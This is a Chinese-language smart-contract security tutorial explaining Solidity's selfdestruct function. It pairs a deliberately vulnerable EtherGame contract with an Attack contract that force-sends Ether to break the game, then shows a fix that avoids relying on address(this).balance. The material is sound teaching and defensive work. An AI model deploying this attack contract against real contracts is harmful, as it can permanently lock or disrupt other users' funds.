# 自毁函数

通过调用`selfdestruct`函数，能够删除区块链上的合约。

`selfdestruct`函数调用的时候，会将合约上剩余的ETH全部强制打入指定的地址。



## 漏洞

恶意的合约可以利用`selfdestruct`功能强制将以太币转入任何指定的合约。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// 这款游戏的目标是成为第七位投入1个ETH的玩家。
// 每位玩家每次只能存入1个ETH。
// 赢家将有权将所有以太币提取。

/*
1. 部署EtherGame。
2. 玩家（比如Alice和Bob）决定参与，各自向合约存款1以太坊。
2. 部署Attack合约，并在初始化函数种填入EtherGame的地址。
3. 调用Attack的attack函数，输入5ETH，这时游戏将不会结束，因为无人能成为赢家。

发生了什么？
攻击合约迫使EtherGame的余额达到7以太坊。由于此时合约存款超过存款上限，导致没人能再存款，最终将无法确定获胜者。
*/

contract EtherGame {
    uint256 public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint256 balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent,) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // 只需要让EtherGame的余额超过 7 ETH，便可打断整个游戏。

        // 将地址转换为可支付（payable）类型
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}
```

## 应对措施

不要依赖` address(this).balance`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract EtherGame {
    uint256 public targetAmount = 3 ether;
    uint256 public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent,) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
}

```

